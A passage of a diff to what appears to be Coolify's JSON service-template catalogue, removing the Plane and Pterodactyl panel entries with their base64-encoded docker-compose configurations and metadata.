fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "plane", - "project-management", - "tool", - "open", - "source", - "api", - "nextjs", - "redis", - "postgresql", - "django", - "pm" - ], - "category": "productivity", - "logo": "svgs/plane.svg", - "minversion": "0.0.0" - }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3858,38 +3837,6 @@ "minversion": "0.0.0", "port": "9159" }, - "pterodactyl-panel": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2